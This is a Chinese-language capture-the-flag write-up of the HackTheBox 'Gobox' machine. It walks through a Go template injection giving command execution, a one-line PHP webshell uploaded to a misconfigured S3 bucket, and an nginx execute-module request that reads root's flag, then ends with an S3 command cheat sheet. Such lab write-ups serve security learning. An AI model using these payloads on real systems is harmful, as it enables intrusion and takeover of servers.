Gobox on HackTheBox

Before all

Victim’s IP : 10.10.10.113
Attacker’s IP : 10.10.14.14

RECON

port scan

Command

1
rustscan -a 10.10.11.113 --ulimit 5000 -- -sC -sV -Pn

Result

1
2
3
4
Open 10.10.11.113:22
Open 10.10.11.113:80
Open 10.10.11.113:4566
Open 10.10.11.113:8080

除了 port 22 是 ssh,其他端口都開了 http service

接下來有爆破目錄 但…沒東西 :D

Exploit

golang ssti

只有 port 8080 有個 login panel 看起來可以打,點擊 forgot password 會進到這裡:
image
注意到會回顯資料,嘗試進行 SSTI,輸入 {{7*7}} 會噴 ERROR…
以 tinja 輔助進行掃描:

1
tinja url -u http://10.10.11.113:8080/forgot/ -d 'email=whale@whale.com'

看 fingerprint 出來的感覺是 GoLang

1
2
3
[*] Verifying html/template.
[*] The polyglot {{printf "%[1]s%[3]s" "SH" "NO" "OW"}} returned the response(s) [SHOW]
[+] html/template was identified (certainty: High)

輸入 {{.}} 獲得物件資訊,意外發現一組帳密?!
image

登入後獲得原始碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

package main

import(
"html/template"
"net/http"
"log"
"os/exec"
"fmt"
"bytes"
"strings"
)

// compile all templates and cache them
var templates = template.Must(template.ParseGlob("templates/*"))

type Data struct {
Title string // Must be exported!
Body string // Must be exported!
}

type User struct {
ID int
Email string
Password string
}


func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}

// Renders the templates
func renderTemplate(w http.ResponseWriter, tmpl string, page *Data) {
err := templates.ExecuteTemplate(w, tmpl, page)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
}

func IndexHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
page := &Data{Title:"Home page", Body:"Welcome to our brand new home page."}
renderTemplate(w, "index", page)
case "POST":
page := &Data{Title:"Home page", Body:"Welcome to our brand new home page."}
if r.FormValue("password") == "ippsSecretPassword" {
renderTemplate(w, "source", page )
} else {
renderTemplate(w, "index", page)
}
}
}

func ForgotHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
page := &Data{Title:"Forgot Password", Body:""}
renderTemplate(w, "forgot", page)
case "POST":
var user1 = &User{1, "ippsec@hacking.esports", "ippsSecretPassword"}
var tmpl = fmt.Sprintf(`Email Sent To: %s`, r.FormValue("email"))

t, err := template.New("page").Parse(tmpl)
if err != nil {
fmt.Println(err)
}

var tpl bytes.Buffer
t.Execute(&tpl, &user1)
page := &Data{Title:"Forgot Password", Body:tpl.String()}
renderTemplate(w, "forgot", page)
}
}


func main(){
http.HandleFunc("/", IndexHandler)
http.HandleFunc("/forgot/", ForgotHandler)
log.Fatal(http.ListenAndServe(":80", nil))
}

注意到不安全的 DebugCmd 函數可以 RCE,噴個 {{.DebugCmd "whoami"}} 就 PoC 了
居然是 root,肯定在容器裡面,甚至 reverse shell 出不來

Abuse s3 bucket

發現 /root 底下有資料夾 .aws,推測接下來要打 Cloud
列舉 s3 bucket:

1
aws s3 ls s3://

找到 bucket website
檢查 ACL:

1
aws s3api get-bucket-acl --bucket website

結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
},
"Grants": [
{
"Grantee": {
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a",
"Type": "CanonicalUser"
},
"Permission": "FULL_CONTROL"
}
]
}

一般使用者有 FULL_CONTROL (蛤)?!
再 ls 並把裡面的內容抓下來看發現其實就是 port 80 的網站
最後就是再用剛剛的 RCE 寫 webshell,用 cp 指令丟上去:

1
2
echo '<?php system($_GET[1]);?>' > shell.php 
aws s3 cp shell.php s3://website/shell.php

最後造訪 http://10.10.11.113/shell.php 就接管整個shell了,彈個 reverse shell

Privilege Escalation

Nginx Shell On

先丟 linpeas 進去掃描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
══╣ PHP exec extensions
drwxr-xr-x 2 root root 4096 Aug 26 2021 /etc/nginx/sites-enabled
drwxr-xr-x 2 root root 4096 Aug 26 2021 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 34 Aug 23 2021 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default
server {
listen 4566 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
if ($http_authorization !~ "(.*)SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz(.*)") {
return 403;
}
proxy_pass http://127.0.0.1:9000;
}
}
server {
listen 80;
root /opt/website;
index index.php;
location ~ [^/]\.php(/|$) {
fastcgi_index index.php;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param QUERY_STRING $query_string;
fastcgi_pass unix:/tmp/php-fpm.sock;
}
}
server {
listen 8080;
add_header X-Forwarded-Server golang;
location / {
proxy_pass http://127.0.0.1:9001;
}
}
server {
listen 127.0.0.1:8000;
location / {
command on;
}
}

注意到這一段,內網的 port 8000 有開啟 command on,可以去檢查 ngx_http_execute_module.so 看看它啟用的 run 參數具體是什麼:

1
2
find / 2>/dev/null | grep ngx_http_execute_module.so
strings /usr/lib/nginx/modules/ngx_http_execute_module.so | grep run

得到 ippsec.run
Finally:

1
curl -s -g 'localhost:8000/?ippsec.run[cat /root/root.txt]'

After all

我可沒有要逃避 CloudSec 題目
補給個 aws s3 bucket 指令整理

aws for s3 101

建立 bucket:

1
aws s3 mb s3://<bucket-name>

刪除 bucket:

1
aws s3 rb s3://<bucket-name>

上傳檔案到 bucket (下載就反過來):

1
aws s3 cp <local-file-path> s3://<bucket-name>/<object-key>

同步資料夾:

1
aws s3 sync <local-folder> s3://<bucket-name>/<prefix>

檢查物件詳細資訊:

1
aws s3api head-object --bucket <bucket-name> --key <object-key>

刪除物件:

1
aws s3 rm s3://<bucket-name>/<object-key>

設定 bucket ACL:

1
aws s3api put-bucket-acl --bucket <bucket-name> --acl public-read

獲取 bucket ACL:

1
aws s3api get-bucket-acl --bucket <bucket-name>

參數改成 get-bucket-policy 就是對 policy 做操作